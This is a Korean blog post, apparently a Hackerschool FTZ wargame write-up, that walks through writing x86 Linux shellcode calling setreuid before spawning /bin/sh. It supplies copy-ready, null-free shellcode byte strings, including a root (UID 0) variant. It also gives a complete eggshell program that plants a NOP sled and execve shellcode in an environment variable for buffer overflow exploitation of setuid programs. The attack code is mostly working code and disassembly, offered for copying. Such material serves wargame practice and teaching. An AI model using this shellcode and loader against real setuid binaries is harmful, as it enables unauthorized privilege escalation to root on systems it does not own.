Dork's port

SetUID를 포함한 Shellcode(쉘코드) 작성하기 본문

Hackerschool FTZ Write-up

SetUID를 포함한 Shellcode(쉘코드) 작성하기

Dork94 2018. 1. 18. 00:00

안녕하세요.


오늘은 SetUID를 포함한 쉘코드를 만들어 보려고 합니다.


구글에 있는 대부분의 쉘코드는 /bin/sh을 execve하는 쉘코드가 많은데요. 


FTZ를 풀다보니 SetUID를 직접 코드에 삽입하여 BOF를 해야 하는 경우가 있어서 포스팅 합니다.


우선, 코드를 먼저 보여드리고 설명을 나중에 할테니 코드가 필요하신 분은 복사하여 사용하시길 바랍니다.

빨간색으로 처리 되어있는 부분이 SetUID에 대한 인수 입니다.

char shellcode[]="\x66\xb8\x1c\x0c\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"


저의 경우 ID는 3100(0x0c1c)로 설정해 두었으며 원하시는 ID를 리틀엔디안 방식을 고려하여 수정하여 주시면 됩니다.

직접 쉘코드를 작성해 보실 분들을 위해 C code를 아래에 배포하도록 하겠습니다.

 
void main(){
	__asm__ __volatile__(
 "xor %eax,%eax	\n\t"
 "mov $0xc1c,%ax	\n\t"
 "mov %eax,%ebx	\n\t"
 "mov %eax, %ecx	\n\t"
 "xor %eax,%eax		\n\t"
 "mov    $0x46,%al	\n\t"
 "int    $0x80		\n\t"





			);
}

SetUID를 0(root)으로 하실 경우 쉘코드의 오류 및 null이 들어갈 수 있습니다. SetUID를 0으로 하는 코드는 아래를 참조 바랍니다.

void main(){
        __asm__ __volatile__(
 "xor    %eax,%eax      \n\t"
 "mov    %eax,%ecx      \n\t"
 "mov    %eax,%ebx      \n\t"
 "mov    $0x46,%al     \n\t"
 "int    $0x80          \n\t"

                        );
}


char shellcode[] = "\x31\xc0\x89\xc1\x89\xc2\xb0\x46\xcd\x80"





자 그러면 같이 쉘코드를 한번 만들어 보도록 하겠습니다.


SetUID가 어떤 식으로 동작하는지 먼저 알기 위해 간단한 아래의 소스코드를 작성 하였습니다.


//setuidTest.c
#include <unistd.h>

int main()
{
	setreuid(3100,3100);

	return 0;
}


자 그럼 이 소스 코드가 어떻게 기계어로 바뀌는지 보도록 할까요??


아래의 명령어를 통해 디버깅 옵션 및 static 옵션을 주어 컴파일을 합니다.


$ gcc -static -g -o setuidTest setuidTest.c


static 옵션이란 ? 쉽게 말해 시스템에서 가져다 쓰는 함수를 직접 작성한 코드에 포함시키겠다는 내용입니다.(참조가 아닌 삽입의 개념). 


Dynamic Link Library & Static Link Library
리눅스 뿐만 아니라 윈도우즈, 솔라리스 등등 대부분의 운영체제들이 Dynamic Link

Library와 Static Link Library를 지원하고 또한 대부분의 컴파일러들이 이를 지원한다. Dynamic Link Library는 우리말로는 동적 링크 라이브러리라고 해석되고 있다. 응용프로그 램의 실행에 있어서 실제 프로그램의 동작에는 매우 많은 명령들이 사용된다. 그리고 많은 응용프로그램들이 공통적으로 사용하는 명령어들이 있다. 예를 들어 C언어에서 사용하는 printf()함수는 어떤 문자열을 출력하는 함수이다. 이는 문자열을 받아서 특정한 위치의 값들 을 채운 다음에 화면이나 표준 출력, 소리 등의 방법으로 출력할 것이다. 이러한 일을 수행 하는 기계어 코드가 어떤 형태로 만들어져 있을 것이다. 가령 ‘ps’라는 프로그램도 printf() 함수를 사용하여 화면에 출력할 것이다. 또한 ‘cat’이라는 프로그램도 printf()함수를 사용할 것이다. 그런데 ‘ps’도 printf()기능의 기계어 코드를 포함하고 있고 ‘cat’도 printf()기능의 기 계어 코드를 포함하고 있다면 같은 기능을 하는 기계어 코드가 서로 다른 실행파일에 모두 포함되어 있게 되는 것이다. 저장 공간의 낭비가 아닐 수 없다. 그래서 운영체제에는 이렇 게 많이 사용되는 함수들의 기계어 코드를 자신이 가지고 있고 다른 프로그램들이 이 기능 을 빌려 쓰게 해 준다. 그래서 ‘ps’도 ‘cat’도 printf() 기계어 코드를 직접 가지고 있지 않고 printf() 코드가 필요할 때에는 운영체제에게 이 기능을 쓰겠다라고 해 주면 그 코드를 빌려 주는 것이다. 따라서 응용프로그램 프로그래머는 이 기능을 직접 구현할 필요가 없고 그냥 호출만 해 주면 되는 것이고 컴파일러도 직접 컴파일 할 필요 없이 호출하는 기계어 코드만 생성해 주면 된다. 이러한 기능들은 라이브러리라고 하는 형태로 존재하고 있으며 리눅스에 서는 libc라는 라이브러리에 들어있고 실제 파일로는 .so 혹은 .a라는 확장자를 가진 형태 로 존재한다. 윈도우즈에서는 DLL(Dynamic Link Library) 파일로 존재하게 된다. 하지만 운 영체제의 버전과 libc의 버전에 따라 호출 형태나 링크 형태가 달라질 수 있기 때문에 이제 영향을 받지 않기 위해서 printf() 기계어 코드를 실행파일이 직접 가지고 있게 할 수 있는

35

데 그 방법이 Static Link Library이다. 다만 Dynamic Link Library 방식보다 실행파일의 크기 가 당연히 커 질것이다. 윈도우즈용 응용프로그램에서 실행 파일을 실행 했는데 무슨 무슨 DLL 파일을 찾을 수 없다는 에러메시지를 띄우면서 실행하지 않는 경우를 봤을 것이다. 이 것은 Dynamic Link Library 형태의 프로그램인데 필요한 기계어 코드가 있는 라이브러리를 찾지 못했다는 뜻이다. 또는 응용프로그램을 설치했는데 DLL 파일을 필요로 하지 않고 달 랑 실행파일 하나만 있는 프로그램의 경우는 대부분 Static Link Library 형태의 프로그램인 것이다.


인용 : buffer_overflow_foundation_pub 

(grayfieldbox.tistory.com/attachment/cfile2.uf@244247475688E8812F0CA8.pdf)


그리고 아래의 명령어로 기계어로 어떻게 변환 되는지 확인합니다.


$ objdump -d setuidTest | grep \<__setreuid\>: -A 28



 0804df48 <__setreuid>:

 804df48: 55                   push   %ebp

 804df49: a1 90 35 0a 08       mov    0x80a3590,%eax

 804df4e: 89 e5                mov    %esp,%ebp

 804df50: 85 c0                test   %eax,%eax

 804df52: 56                   push   %esi

 804df53: 53                   push   %ebx

 804df54: 7e 5a                jle    804dfb0 <__setreuid+0x68>

 804df56: 8b 45 08             mov    0x8(%ebp),%eax

 804df59: 40                   inc    %eax

 804df5a: 3d ff ff 00 00       cmp    $0xffff,%eax

 804df5f: 77 0b                ja     804df6c <__setreuid+0x24>

 804df61: 8b 45 0c             mov    0xc(%ebp),%eax

 804df64: 40                   inc    %eax

 804df65: 3d ff ff 00 00       cmp    $0xffff,%eax

 804df6a: 76 14                jbe    804df80 <__setreuid+0x38>

 804df6c: e8 83 a6 ff ff       call   80485f4 <__errno_location>

 804df71: c7 00 16 00 00 00    movl   $0x16,(%eax)

 804df77: b8 ff ff ff ff       mov    $0xffffffff,%eax

 804df7c: 5b                   pop    %ebx

 804df7d: 5e                   pop    %esi

 804df7e: c9                   leave  

 804df7f: c3                   ret    

 804df80: 8b 45 08             mov    0x8(%ebp),%eax

 804df83: 8b 4d 0c             mov    0xc(%ebp),%ecx

 804df86: 53                   push   %ebx

 804df87: 89 c3                mov    %eax,%ebx

 804df89: b8 46 00 00 00       mov    $0x46,%eax

 804df8e: cd 80                int    $0x80




위의 코드와 같이 출력된 걸 볼 수 있습니다. 


가장 먼저 찾아야 할 것은 함수를 사용할 때에 인자값을 처리하는 부분을 찾아야 합니다.


인수 값은 Stack을 통해 push의 형태로 전달 하므로 ebp보다 높은 주소를 가지게 됩니다.(스택에 먼저 쌓여있다).


그러면 아래의 주소가 눈에 들어 올텐데요.


 804df56: 8b 45 08              mov    0x8(%ebp),%eax


ebp에서 부터 +8만큼 떨어저 있는 주소의 값을 eax로 옮긴다. 즉, 이때 어떠한 인자 값을 eax에 (사용하기 위해서)복사하는 것을 볼 수 있습니다.


그리고 밑에 어셈블리 코드를 보면 어떠한 예외처리를 한다. 그중 눈에 띄는 것은 바로 아래의 코드입니다.


어떠한 어셈블리 코드가 정상적으로 동작하는 루틴에 대해서는 해당 어셈블리를 따라가서 직접 해당 코드를 보시거나 비교 연산을 보고 감으로 예측하는 수 밖에 없습니다. 이 부분에 대해 자세히 설명 드리지 못해 죄송합니다(저도 많이 부족해요). 


 804df6a: 76 14                 jbe    804df80 <__setreuid+0x38>


특정 조건이 맞으면(비교 연산 결과가 작거나 같으면 즉, eax가 0xffff보다 같거나 작으면) 804df80주소로 가게 되어있습니다.


그럼 그 주소를 가보도록 할까요?



 804df80: 8b 45 08              mov    0x8(%ebp),%eax

 804df83: 8b 4d 0c              mov    0xc(%ebp),%ecx

 804df86: 53                    push   %ebx

 804df87: 89 c3                 mov    %eax,%ebx

 804df89: b8 46 00 00 00        mov    $0x46,%eax

 804df8e: cd 80                 int    $0x80


가장 먼저 눈에 띄는 것이 int $0x80명령어 입니다.


이는 시스템에 인터럽트를 거는 명령어로 특정한 값에 따라 어떠한 명령을 실행할 때 사용하는 명령어 입니다!


그럼 이를 통해서 우리는 804df80 위치에 있는 코드가 정상적인 코드라는 것을 추측 할 수 있습니다.


코드를 살펴보면 인수 을 eax, ecx에 저장하고 ebx를 push(backup)한 후 ebx에 eax(인수)를 저장하고 eax에는 0x46이라는 값을 넣고 인터럽트 명령어를 실행시킵니다.


정리하면


함수가 실행(int $0x80)되기 전에 각각 아래의 값들로 초기화가 되어 있어야 합니다.


eax = 0x46

ebx = Argument1를 저장하는 Parameter

ecx = Argumnet2를 Parameter


따라서 ebx는 Argument1를 저장하는 Parameter가 되는 것이고 마찬가지로 ecx는 Argumnet2를 저장하는 Parameter가 되어야 한다는 것을 알 수 있습니다.


그러면 이를 이용해서 소스코드를 작성 해 보도록 하겠습니다.


//shTest.c void main(){ __asm__ __volatile__( "mov $0xc1c,%ecx \n\t" "mov %ecx,%ebx \n\t" "mov $0x46,%eax \n\t" "int $0x80 \n\t" ); }


위의 코드와 마찬가지로. ecx와 ebx에는 인수(3100)이 들어가 있고 eax에는 0x46이 들어가 있는 코드를 작성해 보았습니다.

그럼 이걸 기계어로 바꿔 보도록 하죠!

$  gcc -static -g -o shTest shTest.c



$ objdump -d shTest | grep \<main\>: -A 14


그러면 아래와 같은 코드를 볼 수 있습니다.


 080481d0 <main>:

 80481d0: 55                   push   %ebp

 80481d1: 89 e5                mov    %esp,%ebp

 80481d3: 83 ec 08             sub    $0x8,%esp

 80481d6: 83 e4 f0             and    $0xfffffff0,%esp

 80481d9: b8 00 00 00 00       mov    $0x0,%eax

 80481de: 29 c4                sub    %eax,%esp

 80481e0: b9 1c 0c 00 00       mov    $0xc1c,%ecx

 80481e5: 89 cb                mov    %ecx,%ebx

 80481e7: b8 46 00 00 00       mov    $0x46,%eax

 80481ec: cd 80                int    $0x80

 80481ee: c9                   leave  

 80481ef: c3                   ret    




빨간색으로 강조외어있는 코드를 보시면 우리가 작성한 코드가 정상적으로 기계어로 컴파일 되었고, 배경으로 강조외어 있는 부분이 기계어 부분입니다.


저 부분을 16진수의 형태로 shellcode로 작성하면 됩니다.


그러나, 여기서 주목하셔야 할 점은 00과 같이 기계어에 NULL이 들어가는 경우 우리가 의도하는 BOF공격에 있어서 동작하지 않을 확률이 높습니다.


BOF는 NULL로 길이의 끝을 Check하는 함수가 대부분 이기 때문입니다.


그러면 우리는 NULL을 사용하지 않기 위해 0이라는 값 대신 xor을 이용하고 바이트 형식에 맞게 레지스터에 값을 넣어주면 저러한 00과 같은 기계어가 사라지게 됩니다.


따라서 코드를 재 작성해 보면 처음에 보여드린 바와 같이 아래와 같이 작성 할 수 있습니다.


void main(){ __asm__ __volatile__( "xor %eax,%eax \n\t" "mov $0xc1c,%ax \n\t" "mov %eax,%ebx \n\t" "mov %eax, %ecx \n\t" "xor %eax,%eax \n\t" "mov $0x46,%al \n\t" "int $0x80 \n\t" ); }

이것을 기계어로 바꾸면 아래와 같습니다.




char shellcode[]="\x66\xb8\x1c\x0c\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"


이것을 기존의 eggshell코드와 결합하면 SetUID와 동시에 쉘이 실행되는 쉘코드를 작성하실 수 있습니다.


코드에 SetUID가 작성되지 않더라도 파일에 SetUID(rws)가 설정되어 있으면 해당 프로그램의 권한을 획득할 수 있습니다.


아래는 eggshell과 합친 쉘 코드 입니다.





//eggshell.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] =   "\x66\xb8\x1c\x0c\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"   "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) {         char *buff, *ptr, *egg;         long *addr_ptr, addr;         int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;         int i, eggsize=DEFAULT_EGG_SIZE;         if (argc > 1) bsize   = atoi(argv[1]);         if (argc > 2) offset  = atoi(argv[2]);         if (argc > 3) eggsize = atoi(argv[3]);         if (!(buff = malloc(bsize))) {         printf("Can't allocate memory.\n");         exit(0);         }         if (!(egg = malloc(eggsize))) {         printf("Can't allocate memory.\n");         exit(0);         }         addr = get_esp() - offset;         printf("Using address: 0x%x\n", addr);         ptr = buff;         addr_ptr = (long *) ptr;         for (i = 0; i < bsize; i+=4)         {                 if(i == 1040)                 {                         *(addr_ptr++) = 0x1234567;                 }                 else                         *(addr_ptr++) = addr; }         ptr = egg;         for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)                 *(ptr++) = NOP;         for (i = 0; i < strlen(shellcode); i++)                 *(ptr++) = shellcode[i];         buff[bsize - 1] = '\0';         egg[eggsize - 1] = '\0';         memcpy(egg,"EGG=",4);         putenv(egg);         memcpy(buff,"RET=",4);         putenv(buff);         system("/bin/bash"); }



 
//env.c
#include <stdio.h>
int main()
{
        printf("Addr = %p\n", getenv("EGG"));
}


궁금한 점이 있다면 댓글로 질문 부탁 드립니다.



쉘코드 참조 : http://hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&page=39&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=subject&desc=asc&no=1939 

Comments